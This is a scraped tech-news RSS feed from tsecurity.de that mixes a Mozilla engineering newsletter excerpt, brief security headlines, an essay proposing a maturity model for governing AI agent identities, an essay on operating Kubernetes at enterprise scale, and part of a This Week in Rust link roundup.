<p>Yarik published <a href="http://35.202.240.190/" rel="noopener nofollow ugc">queue forecasting dashboard</a> experiments that continuously collects task events and trains models to enable and improve predictions on a task level (how long will it run, and when will it start). With future plans including extending it to the whole task group (mach try)</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-treeherder-image32x32upload9mg2vslsdl1se97nhycpirqkvuvpng-14" name="p-295620-treeherder-image32x32upload9mg2vslsdl1se97nhycpirqkvuvpng-14"></a>Treeherder <img alt="image" height="32" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/4/4/449439d59f33f7cc62df6501dd75c5f88d6f5fe5.png" width="32"></h4>
<ul>
<li>
<p>Florian Quèze added <a href="https://github.com/mozilla/treeherder/pull/9540" rel="noopener nofollow ugc">treeherder#9540</a> “Show task group profile” item to the push action menu</p>
</li>
<li>
<p>Cameron Dawson, juungo and moijes12 implemented various Treeherder API performance improvements</p>
</li>
<li>
<p>Heitor Neiva added Git branch labels to pushes in Treeherder</p>
</li>
<li>
<p>Andrew Halberstadt <a href="https://github.com/mozilla/treeherder/pull/9496" rel="noopener nofollow ugc">implemented</a> the ability for Treeherder to display multiple Git branches at once, enabling support for “try like” repositories in Github</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-version-control-image35x35uploadfgrydspdrdwuflvmedhcxxzrhwtpng-15" name="p-295620-version-control-image35x35uploadfgrydspdrdwuflvmedhcxxzrhwtpng-15"></a>Version Control <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/6/d/6ded138b62af5c8222b8f5fab637590ba2920993.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="35" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/6/d/6ded138b62af5c8222b8f5fab637590ba2920993.png" width="35"></a></div></h4>
<ul>
<li>
<p>Upgrade <a href="http://hg.mozilla.org/">hg.mozilla.org</a> to Mercurial 7.2.2</p>
</li>
<li>
<p>Created the <a href="https://hg-edge.mozilla.org/releases/mozilla-esr153">mozilla-esr153</a> and <a href="https://hg-edge.mozilla.org/releases/comm-esr153">comm-esr153</a> repositories.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-other-image30x30upload1b45rv2lz4qu5bjwdcrkbeihtshpng-16" name="p-295620-other-image30x30upload1b45rv2lz4qu5bjwdcrkbeihtshpng-16"></a>Other <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/0/8/08426801fd78ca4953d83a1589119ec724b9c801.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="30" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/0/8/08426801fd78ca4953d83a1589119ec724b9c801.png" width="30"></a></div></h4>
<ul>
<li>Sylvestre converted our documentation from reStructuredText to MyST flavored Markdown</li>
</ul>
<p>Thanks for reading and see you next quarter!</p>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://discourse.mozilla.org/t/engineering-effectiveness-newsletter-q2-2026-edition/148883">Read full topic</a></p>]]></content:encoded>
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<title><![CDATA[Giant Swarm öffnet KI-Agenten-Plattform in Kubernetes-Umgebungen für Kunden]]></title>
<description><![CDATA[Giant Swarm will KI-Agenten als isolierte Workloads in eigenen Kubernetes-Clustern betreiben – On-Premises, Air-gapped oder hybrid, ohne SaaS-Abhängigkeit.]]></description>
<link>https://tsecurity.de/de/3657287/it-nachrichten/giant-swarm-oeffnet-ki-agenten-plattform-in-kubernetes-umgebungen-fuer-kunden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657287/it-nachrichten/giant-swarm-oeffnet-ki-agenten-plattform-in-kubernetes-umgebungen-fuer-kunden/</guid>
<pubDate>Thu, 09 Jul 2026 16:02:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Giant Swarm will KI-Agenten als isolierte Workloads in eigenen Kubernetes-Clustern betreiben – On-Premises, Air-gapped oder hybrid, ohne SaaS-Abhängigkeit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cyber researchers sound alarm over a 15-year-old Linux kernel flaw – 'GhostLock' could let hackers seize unpatched machines in just five seconds]]></title>
<description><![CDATA[Researchers at Nebula said the GhostLock exploit is 97% reliable and can escape containers]]></description>
<link>https://tsecurity.de/de/3656784/it-security-nachrichten/cyber-researchers-sound-alarm-over-a-15-year-old-linux-kernel-flaw-ghostlock-could-let-hackers-seize-unpatched-machines-in-just-five-seconds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656784/it-security-nachrichten/cyber-researchers-sound-alarm-over-a-15-year-old-linux-kernel-flaw-ghostlock-could-let-hackers-seize-unpatched-machines-in-just-five-seconds/</guid>
<pubDate>Thu, 09 Jul 2026 13:08:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers at Nebula said the GhostLock exploit is 97% reliable and can escape containers]]></content:encoded>
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<item>
<title><![CDATA[Agentic AI identity: A 6-stage maturity model for non-human identities]]></title>
<description><![CDATA[In a client engagement last year, an LLM-based deployment agent with standing access to a production Kubernetes cluster triggered a four-hour outage through a malformed configuration push. In the IAM, the agent appeared as a service account with a long-lived API key, no MFA, no scoped revocation ...]]></description>
<link>https://tsecurity.de/de/3656659/it-security-nachrichten/agentic-ai-identity-a-6-stage-maturity-model-for-non-human-identities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656659/it-security-nachrichten/agentic-ai-identity-a-6-stage-maturity-model-for-non-human-identities/</guid>
<pubDate>Thu, 09 Jul 2026 12:24:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>In a client engagement last year, an LLM-based deployment agent with standing access to a production Kubernetes cluster triggered a four-hour outage through a malformed configuration push. In the IAM, the agent appeared as a service account with a long-lived API key, no MFA, no scoped revocation path. When the incident review team asked which human had authorized the agent’s last action, no one in the room could answer. I have watched a version of that question go unanswered in three engagements over the past year, in three different sectors, with three different vendor stacks.</p>



<p>Every CISO deck right now contains a slide about agentic AI. Far fewer contain a slide about who, in identity terms, these agents actually are. That gap is the more dangerous one. The first slide is a strategy question. The second is a control question — and it is the one your auditors, your incident responders and your board will eventually ask. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-02-05-gartner-identifies-the-top-cybersecurity-trends-for-2026">Gartner’s Top Cybersecurity Trends 2026</a>, published by Director Analyst Alex Michaels, names both halves of that gap — agentic AI oversight (Trend 1) and IAM adaptation to AI agents (Trend 4) — as the forces redefining cyber risk this year.</p>



<p>This piece sets out a six-stage maturity model for non-human and agent-based identities (NHIs), the six minimum requirements that have to be met before any production deployment is defensible and the single most consequential reporting decision in the access-and-identity dimension: refusing the arithmetic mean across human and non-human identity governance.</p>



<h2 class="wp-block-heading">Why agent-based systems break the existing identity model</h2>



<p>A conventional service account performs a narrow, predictable task: it fetches a backup, runs a scheduled report, signs a build artifact. Its scope is fixed at design time. The controls around it — rotation, vaulting, audit — are well-understood.</p>



<p>An agent-based system does not work this way. It receives an intent, decomposes it into steps, calls whichever tools or APIs it judges appropriate and produces an outcome that was not specified action-by-action in advance. KuppingerCole’s 2026 Leadership Compass on Non-Human Identity Management notes that NHIs now outnumber human users in many enterprise environments, in some cases by a factor of 25 to 50. The same compass, authored under Principal Analyst Martin Kuppinger, observes that the tooling built around joiner-mover-leaver lifecycles was never designed to discover, attribute or govern these identities at that scale.</p>



<p>The <a href="https://genai.owasp.org/">OWASP GenAI Security Project</a> has catalogued the resulting attack surface in two iterations — the Agentic AI Threats &amp; Mitigations taxonomy in February 2025 and the more operational OWASP Top 10 for Agentic Applications later that year, categories ASI01 through ASI10. The notable finding is that three of the four highest-rated risks are identity questions: tool misuse and exploitation (ASI02), identity and privilege abuse including delegated and inherited trust (ASI03) and rogue agents that act outside their intended behavior (ASI10). A fourth, agentic supply chain vulnerabilities (ASI04), is identity adjacent.</p>



<p>CISA’s first joint Five Eyes advisory on the topic — <a href="https://www.cisa.gov/resources-tools/resources/careful-adoption-agentic-ai-services">Careful Adoption of Agentic AI Services</a>, published 1 May 2026 with NSA, the Australian Signals Directorate’s ACSC, the Canadian Centre for Cyber Security, NCSC-NZ and NCSC-UK — converges on the same conclusion. Privilege risk is named the foundational concern. The Center for Internet Security followed with its own report on prompt injection as the top compounding risk in April 2026, and NIST’s AI Agent Standards Initiative, launched February 2026, is now drafting the formal standards that will sit alongside this guidance.</p>



<p>In other words, the dominant risk class introduced by agentic AI is not novel cryptography or some new exploit primitive. It is the unbounded scope of an identity that the existing IAM model was never asked to govern.</p>



<h2 class="wp-block-heading">Six minimum requirements before any agent goes to production</h2>



<p>Before any maturity discussion is useful, there is a floor. The following six requirements mark the line below which an agent-based system is not responsibly deployable in an enterprise environment. They are derived from incidents and audit findings I have collected across pharma, energy, finance and manufacturing engagements, and they are technically feasible on modern IAM and PAM platforms — though rarely on the IAM stacks most enterprises actually have today.</p>



<ul class="wp-block-list">
<li>Each agent receives a uniquely attributable non-human identity. Shared service accounts across multiple agents, or shared between an agent and a human administrator, are not acceptable.</li>



<li>Permissions are granted under an on-behalf-of model. The agent acts on the authority of a named human principal, inheriting that principal’s permissions, scoped to a defined purpose. It never acts from its own standing authority.</li>



<li>No long-lived credentials. No API key valid for more than an hour. No embedded secrets in code. Short-lived, context-bound credentials only, revocable on anomaly.</li>



<li>Complete audit trail through SIEM integration. Every agent action is logged with timestamp, executing identity, instructing human principal, input context and outcome.</li>



<li>Continuous re-authentication. For long-running agents, identity is re-validated risk-based at regular intervals — not just at session start.</li>



<li>Real-time revocation. The capability to disconnect an agent from systems within seconds is not optional. It is the only control that actually contains an agent-based incident in flight.</li>
</ul>



<p>An organization that cannot meet all six does not have an agent governance problem. It has a deployment readiness problem. The model below assumes these are in place by Stage 3; anything earlier is the discovery phase.</p>



<h2 class="wp-block-heading">The six-stage NHI maturity model</h2>



<p>Most enterprise maturity scales measure the access-and-identity dimension against the yardstick of human identity: is there central IAM, is MFA enforced for privileged access, does the joiner-mover-leaver lifecycle work? These remain the right questions, but they stop short. An organization that scores Stage 4 on human identity governance and Stage 1 on agent governance does not have a mature identity practice. It has a well-lit half and a blind half.</p>



<p>The following six-stage scale is cumulative — each stage assumes everything below it. The threshold of responsibility sits at Stage 3. In my view, production deployment of agent-based systems below Stage 3 is not defensible to a board, a regulator or an incident review.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Stage</strong></td><td><strong>Label</strong></td><td><strong>Criterion for non-human / agent-based identities</strong></td><td><strong>Audit survivability</strong></td></tr></thead><tbody><tr><td><strong>0</strong></td><td><strong>Unrecognized</strong></td><td>Non-human identities exist but are not in the inventory. Shared service accounts, long-lived keys, no audit trail.</td><td>No — agent activity is invisible to forensics.</td></tr><tr><td><strong>1</strong></td><td><strong>Visible</strong></td><td>Identities are inventoried and assigned to an asset class, but not yet under independent governance.</td><td>No — no per-agent accountability.</td></tr><tr><td><strong>2</strong></td><td><strong>Unique</strong></td><td>Each identity is uniquely attributable (no shared accounts); initial lifecycle rules exist but are applied inconsistently.</td><td>Partial — who acted is answerable; on whose authority is not.</td></tr><tr><td><strong>3</strong></td><td><strong>Controlled</strong></td><td>The six minimum requirements are fully met: on-behalf-of model, short-lived credentials, SIEM audit trail, real-time revocation.</td><td>Yes — minimum defensible posture.</td></tr><tr><td><strong>4</strong></td><td><strong>Bounded and monitored</strong></td><td>The agent’s action is bounded; every action is reviewable and — where the process allows — reversible. Agent activity metrics are evaluated, not just collected.</td><td>Yes — containment is provable.</td></tr><tr><td><strong>5</strong></td><td><strong>Self-regulating</strong></td><td>Anomalies in agent behavior are detected automatically and trigger risk-based pause or revocation. Each agent has a named accountable owner.</td><td>Yes — state of the art.</td></tr></tbody></table> </div></figure>



<p>Stages 4 and 5 deserve unpacking because they are where the model departs from access control and begins to govern behavior. Bounded means the agent’s mandate has explicit limits it cannot act outside of. Reviewable means every action is logged with intent, execution and result. Reversible means an action can be rolled back before it produces irreversible effect — a hard constraint in any environment where actions touch physical processes, financial transactions or external commitments. Self-regulating means the system detects anomalies in agent behavior and intervenes before a human reasonably could.</p>



<h2 class="wp-block-heading">The ‘human in the loop’ is not automatically governance</h2>



<p>One misconception consistently overrates organizations’ agent governance. The presence of a human in the decision loop is widely treated as sufficient oversight. It is not. If a human is asked to approve hundreds or thousands of agent actions without the time to inspect each one, what exists is not control but an approval automation with a human signature on it. Human review does not scale to the action volume of an autonomous system.</p>



<p>A mature governance posture acknowledges this. It moves control from per-action approval to structural constraint: bound what the agent can do at all, monitor its behavior for anomaly and ensure that oversight is loyal to the principal, not to the executing system. An organization that rests its agent governance entirely on human per-action approvals does not reach Stage 4 of the model, regardless of how thoroughly those approvals are documented. Stage 4 requires structural bounding, not scaling handwork.</p>



<h2 class="wp-block-heading">OWASP as an audit-ready evidence base</h2>



<p>Maturity assessment risks drifting into subjective self-rating. The OWASP categories cited above can be operationalized into audit questions that anchor each stage in checkable evidence:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>OWASP attack surface (Top 10 for agentic applications)</strong></td><td><strong>Audit question for maturity assessment</strong></td><td><strong>Met from stage</strong></td></tr></thead><tbody><tr><td>ASI03 — Identity and privilege abuse</td><td>Does each agent have a unique identity, with no shared accounts?</td><td><strong>2</strong></td></tr><tr><td>ASI02 — Tool misuse and exploitation</td><td>Are the interfaces an agent is permitted to use explicitly bounded?</td><td><strong>4</strong></td></tr><tr><td>ASI01 — Goal hijack</td><td>Is each agent’s mandate clearly bounded and protected against manipulation?</td><td><strong>4</strong></td></tr><tr><td>ASI04 — Agentic supply chain vulnerability</td><td>Is the agent’s software composition documented via SBOM?</td><td><strong>4</strong></td></tr><tr><td>ASI10 — Rogue agent</td><td>Are anomalies in agent behavior detected and routed to pause or revoke?</td><td><strong>5</strong></td></tr></tbody></table> </div></figure>



<p>The column on the right matters. A common rating error is to grade an organization high because it has handled the easy requirements — unique identities, basic logging — without addressing the demanding ones. Tying the upper stages to the difficult criteria prevents that inflation.</p>



<h2 class="wp-block-heading">Report human and non-human identity separately</h2>



<p>The single most consequential reporting decision is to refuse the arithmetic mean. The access-and-identity dimension on a maturity radar should not collapse a Stage 4 human-identity practice and a Stage 1 agent-identity practice into a reassuring middle number. Both ratings belong on the same axis, but they belong reported separately.</p>



<p>A representative finding from current engagements: human identity governance at Stage 4 — central IAM, MFA, lifecycle managed — and agent governance at Stage 1, with agents recently inventoried but still authenticating via long-lived API keys against shared service accounts, without their own audit trail. The combined average would read Stage 2 to 3 and look acceptable. The separate reporting reveals that the unmanaged half is precisely the identity class with the largest and least predictable scope of action. That visibility is what triggers the prioritized roadmap action; an aggregated score buries it.</p>



<h2 class="wp-block-heading">The named-accountable-owner test</h2>



<p>If I run only one diagnostic in a new engagement, this is the one. For every production agent-based system in the environment, ask: who, by name, is accountable if this agent causes harm? An agent without a named accountable owner is the non-human counterpart of the workstation everyone uses, and no one owns. Stage 5 of the model formally requires a named accountable owner per deployed agent. The reason is operational, not bureaucratic: the question ‘who is responsible for this system?’ must be answered before the incident, not during it.</p>



<p>In practice, that accountability binds best to the role that already carries the operational risk of the affected process — typically the asset owner in the business function. Anchoring it there prevents agent-based systems from drifting into the organizational gray zone between IT, security and the business, which is exactly where unattributed action originates.</p>



<p>The maturity model in this article is a starting structure. The honest first step in adopting it is not to score well. It is to score truthfully, report human and non-human identity governance separately and treat the gap between them as the first item on the security roadmap for the agentic-AI period — before the next agent goes to production.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.csoonline.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[Practical challenges in managing Kubernetes at enterprise scale]]></title>
<description><![CDATA[The first time I used Kubernetes in an enterprise setting, I understood the hype. It gives every team the same way to package, deploy and run their apps. No more custom scripts or unique deployment hacks, just one control plane to rule them all. And really, that’s why it’s so popular with big com...]]></description>
<link>https://tsecurity.de/de/3656431/ai-nachrichten/practical-challenges-in-managing-kubernetes-at-enterprise-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656431/ai-nachrichten/practical-challenges-in-managing-kubernetes-at-enterprise-scale/</guid>
<pubDate>Thu, 09 Jul 2026 11:03:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>The first time I used Kubernetes in an enterprise setting, I understood the hype. It gives every team the same way to package, deploy and run their apps. No more custom scripts or unique deployment hacks, just one control plane to rule them all. And really, that’s why it’s so popular with big companies: <a href="https://kubernetes.io/">Kubernetes</a> is an open-source system for automating deployment, scaling and management of containerized applications. It says so right on the box, and that’s what people want. But here’s the truth: Kubernetes doesn’t erase operational headaches. It just moves them around.</p>



<p>When your Kubernetes install is small, it feels like rocket fuel for engineers. At enterprise scale, though, suddenly it’s about governance, not just engineering. The game is no longer “Can we get this container running?” It’s “How do hundreds of engineers roll out their stuff safely, consistently, securely and without breaking the bank or burning out the platform team?”</p>



<p>This is where the fun really starts.</p>



<h2 class="wp-block-heading">YAML isn’t the enemy</h2>



<p>Folks new to Kubernetes obsesses over manifests, Helm charts, namespaces, ingress rules, deployments, all that stuff. But they’re not the hardest part once you start scaling. The real beast is standardization.</p>



<p>Every big company I’ve seen ends up with teams going their own way. One group writes beautiful deployment templates. Someone else copies and pastes from a two-year-old manifest. Some folks set resource requirements properly. Others skip them entirely. One team sticks to a strong naming convention, and someone else throws together random namespaces and service accounts that make sense only to them. Individually, this more or less works. At scale, when the whole platform has to operate like one system, it’s a mess.</p>



<p>That’s why I’ll say it: you don’t just need a Kubernetes cluster. You need a paved road. This would involve ensuring that there are approved templates, good deployment patterns, observability, security controls as defaults, good issue escalation processes and accountability.</p>



<p>There is no need for developers to be Kubernetes experts just to release their services. The best enterprise Kubernetes setups work like real products. They let application teams self-serve but never let anyone veer off road without good reason.</p>



<h2 class="wp-block-heading">RBAC: necessary, but never enough</h2>



<p>Security is paramount. Kubernetes supports <a href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/">role-based access control (RBAC)</a>, so on paper you can control who does what. In practice, in a big company, RBAC gets confusing fast.</p>



<p>The issue isn’t that engineers ignore security. It’s that permissions grow over time. You need a quick fix during an incident, so you give a service account more access. Maybe a team needs cluster-wide rights for a migration. That “just for now” permission sticks around because no one cleans it up. Month by month, the gap widens between what a workload should do and what it’s actually allowed to do. The only thing that works long-term: treat RBAC as a living thing, not a one-time checklist. Review it. Test it. Stick to least privilege. Service accounts get only what they need. Cluster-admin rights? Rare. Expiring exceptions. Set permissions as code so changes aren’t invisible.</p>



<p>Same story with workload security. Kubernetes brings you <a href="https://kubernetes.io/docs/concepts/security/pod-security-standards/">Pod Security Standards</a>. There is baseline, restricted and privileged profiles, so everyone speaks the same language. But simply setting a standard isn’t enough. We’d also need things like admission controls, image scanning, runtime monitoring and audit trails.</p>



<p>Honestly, the NSA/CISA Kubernetes Hardening Guidance is still gold. Scan containers and pods. Run workloads as locked down as possible. Use strong authentication. Separate networks. Set up solid logging. These ideas sound obvious until you see what happens when your organization scales without good ops.</p>



<h2 class="wp-block-heading">Network policies: where “it should work” meets reality</h2>



<p>Kubernetes networking can trip up even the best teams. Engineers often think different namespaces mean automatic isolation between apps. Not true.</p>



<p><a href="https://kubernetes.io/docs/concepts/services-networking/network-policies/">Kubernetes network policies</a> decide which pods can talk to which, but the policies only matter if your networking plugin actually enforces them. I’ve seen a lot of teams write network controls that look great in YAML but don’t work, because the underlying network just ignores them. Security validation beats documentation every time. If two namespaces shouldn’t talk, test it. If a workload only needs access to a specific backend, check it. If only specific ingress is allowed, make sure nothing else gets through.</p>



<p>At scale, your Kubernetes security has to prove itself. “We have a policy” means nothing unless the platform can show the policy actually works.</p>



<h2 class="wp-block-heading">Resource management becomes all about money</h2>



<p>One of the biggest challenge is resource allocation. Kubernetes lets you set CPU and memory limits, and sure, there are official docs. But getting these numbers right is tough.</p>



<p>Set them too low, and your workload might get throttled or evicted under load. Set them too high, and you’re paying for unused infrastructure. That barely registers on a small cluster, but when you’re running thousands of pods? That’s cloud bills gone wild.</p>



<p>This is where Kubernetes ops and FinOps meet. Platform teams have to know who’s burning through which resources, what’s over-provisioned or flying blind, and where the real money goes. ResourceQuota helps keep things in check, but quotas alone don’t hold people accountable.</p>



<p>The culture shift is moving from “the cluster has spare capacity” to “every service has an owner, a cost profile and a plan for staying lean.” Teams should understand their infrastructure bill. Platform teams need dashboards that point out waste. Engineering leaders need to care about efficiency, not just hear from finance when things go off the rails.</p>



<h2 class="wp-block-heading">Autoscaling isn’t a magic trick</h2>



<p>The Horizontal Pod Autoscaler is handy. It adjusts your workloads automatically to match demand. But don’t overestimate it. Most real-world services don’t scale simply by CPU or memory. Sometimes a service hits latency limits before CPU usage spikes. Workers chewing through queues? You care more about backlog size. Machine learning? Maybe it’s all about GPU use or loading time. Customer-facing apps? You want to be scaled up before traffic hits, not scramble after users start complaining.</p>



<p><br>So autoscaling isn’t just a box you check. It’s a feedback loop, and it only works if you use the right signals. Sometimes CPU is enough. Sometimes you need to scale on queue length, request rate, latency or something totally custom.</p>



<p>Then there’s node autoscaling to provision infrastructure in response to demand. On paper, it just works. In real life, it runs into startup delays, availability zones, quotas, cloud provider quirks and pod disruption budgets. Scale pods faster than nodes? Users still see delays.</p>



<p>Test autoscaling like you test your app. Load-test it, break it, see what happens after an incident. Otherwise, you’ll find the limits when it hurts most.</p>



<h2 class="wp-block-heading">Observability doesn’t matter unless it answers questions</h2>



<p>Kubernetes has mountains of data. Things like  logs, metrics, traces, events, audits, deployment history, container restarts, control plane noise, you name it. The real challenge isn’t collecting info, but actually it’s making sense of it. The CNCF and others have best practices for logging and telemetry, like centralizing logs and not leaking secrets. Those matter, but at the end of the day, engineers need answers, not just data. When something breaks, no one’s asking, “Is Kubernetes alive?” They want to know what changed. Did something roll out? Did a pod crash? Did autoscaling fire too late? Was a node unhealthy, a secret rotated, a network policy too tight, a downstream DB choking?</p>



<p>Observability should line up with real operational questions and not just ticking boxes for logs, or metrics. Dashboards need to match service ownership. Alerts need to mean something to end users. Telemetry should connect to deployments and incidents. Measure how quickly engineers spot the root cause, not just that you have the data somewhere.</p>



<p>CNCF talks about newer models of unified telemetry and proactive troubleshooting for a reason. All the dashboards in the world don’t help when your team has to play detective during an outage.</p>



<h2 class="wp-block-heading">Upgrades: Don’t wing it</h2>



<p>Kubernetes upgrades catch people out. The CNCF Maturity Model says: Kubernetes drops three big releases a year, so maintenance is part of life—not a once-in-a-blue-moon project.</p>



<p>Upgrading at enterprise scale can involve everything: workloads, admission controllers, CI/CD, service mesh, ingress, storage drivers, monitoring, security, custom controllers. <a href="https://kubernetes.io/releases/version-skew-policy/">Version skew policies</a> keep you between the lines, but that’s just the beginning. The real question is: can you test your whole stack?</p>



<p>Good upgrade programs need a repeatable process, staging environments that actually look like production, and clear communication so teams know what to expect. The worst upgrade process is the one that relies on heroes to pull it off at the last second. A strong platform turns upgrades into routine.</p>



<h2 class="wp-block-heading">Reliability: Kubernetes helps, but it doesn’t guarantee it</h2>



<p>Yes, Kubernetes restarts crashed containers, reschedules pods and does rolling deployments. But it doesn’t make a bad app reliable.</p>



<p>A poorly coded app will fail on Kubernetes just like anywhere else. Bad readiness or liveness probes? Your app gets traffic too soon. No graceful shutdown? Requests drop during deploy. Forgot pod disruption budgets? The app goes down during node maintenance. A flaky dependency? It will cascade through your services even if all your pods look healthy.</p>



<p>The mature approach is setting service-level objectives and making reliability a product of both platform and engineering. Cluster health isn’t user experience. That green status page can hide a lot of pain.</p>



<h2 class="wp-block-heading">The platform team is a product team</h2>



<p>Here’s the biggest lesson I’ve picked up is that running Kubernetes at enterprise scale isn’t really about the tech. One cluster? Maybe one expert can handle that. But for a full enterprise platform, you need a product mindset. The platform team serves customers such as engineers, security, compliance, finance and business. Everyone wants something a bit different.</p>



<p>Developers want speed and reliability. Security wants oversight. Finance wants transparency. Compliance wants proof. Ops wants predictability. The business wants all of those.</p>



<p>The platform team has to pull those threads together with APIs, docs, dashboards, paved roads, support and feedback. That also means saying “no” to the unique snowflake patterns that create chaos later. Kubernetes is powerful. But it doesn’t replace organizational discipline. That’s still on the shoulders of engineering leaders. The real challenge at enterprise scale isn’t memorizing every API object. It’s building a system where any team can ship safely without needing to be Kubernetes experts themselves.</p>



<p>When you reach that point, Kubernetes stops being just a cluster. It becomes your platform.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.infoworld.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[This Week In Rust: This Week in Rust 659]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3656000/tools/this-week-in-rust-this-week-in-rust-659/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656000/tools/this-week-in-rust-this-week-in-rust-659/</guid>
<pubDate>Thu, 09 Jul 2026 07:08:34 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
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<li><a href="https://buildnectar.com/">Nectar: a Rust-like language that compiles your whole web app to WebAssembly</a></li>
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<li><a href="https://blog.none.at/blog/2026/2026-07-06-k8s-scale-app-rs/">k8s-scale-app-rs: Scale or Restart a Kubernetes Deployment from a CronJob</a></li>
<li><a href="https://dev.to/sicklefire/m-vis-v050-rc1-update-11cp">M-vis v0.5.0-rc1 update</a></li>
<li><a href="https://ganeshsivakumar.substack.com/p/flaredb">FlareDB: An Apache Beam Native Streaming Database built in Rust</a></li>
<li><a href="https://holovskyi.github.io/blog/typed-mqtt-topics-for-rust/">mqtt-typed-client 0.2: a type-safe async MQTT client on rumqttc</a></li>
<li><a href="https://github.com/LeChatP/RootAsRole/releases/tag/v4.0.0">RootAsRole: v4.0.0 Major release, secure execution, new logo</a></li>
<li><a href="https://www.qt.io/blog/rust-ui-framework-via-bridging-technology">A Cross-Platform Rust UI Framework via Qt’s Bridging Technology</a></li>
<li><a href="https://rapha.land/jam-programming-language/">Jam Programming Language</a></li>
<li><a href="https://www.clever.cloud/blog/company/2026/07/01/sozu-2-1-0-udp-load-balancer-programmable-edge/">Sōzu 2.1.0: UDP load balancing for the programmable edge</a></li>
<li><a href="https://op3kay.dev/writing/b0nker">b0nker: a minimal container runtime written in Rust</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li>[video] <a href="https://www.youtube.com/watch?v=SGR5qBdwk30">Rust Berlin Meetup 25/06/2026 Livestream</a></li>
<li>[video] <a href="https://www.youtube.com/live/_LtgHxuysUo">How do you rewrite C/C++ projects to Rust? – JetBrains interview with Luca Palmieri, Mainmatter</a></li>
<li><a href="https://kerkour.com/rustcrypto-slow-simd-rust">Investigating why RustCrypto is slow: Deep dive into SIMD instructions and hardware acceleration</a></li>
<li><a href="https://parsa.wtf/cast/">bool as u32</a></li>
<li><a href="https://arxiv.org/html/2605.30106">A Rust-to-Lean Verification Pipeline with AI Provers: An Experience Report</a></li>
<li><a href="https://blog.dureuill.net/articles/wip/">Work In Progress Rust</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=Fk165jYfHpc">OpenAI just spent $600k on Rust</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e07-rising-academies/">Rising Academies with Dylan Brown - Rust in Production Podcast</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li>[series] <a href="https://aibodh.com/posts/bevy-tutorial-build-your-first-3d-editor-in-rust/">Bevy Tutorial: Build Your First 3D Editor - Create a 3D Space on an Infinite Grid</a></li>
<li><a href="https://blog.sheerluck.dev/posts/learn-axum-basics-and-routing-by-building-a-url-shortener/">Learn Axum Basics and Routing by Building a URL Shortener</a></li>
<li>[series] <a href="https://plabayo.tech/blog/rama-101-1-https-clients-and-abstractions">Rama 101.1: HTTPS clients and layers of abstraction</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li><a href="https://seanborg.tech/tiny-blog/rust-week-ven-diagram/">Clickable euler diagram of all the Rust week talks</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://crates.io/crates/apis-saltans-core">apis-saltans</a>, a Zigbee implementation including a coordinator API.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1627">Richard Neumann</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
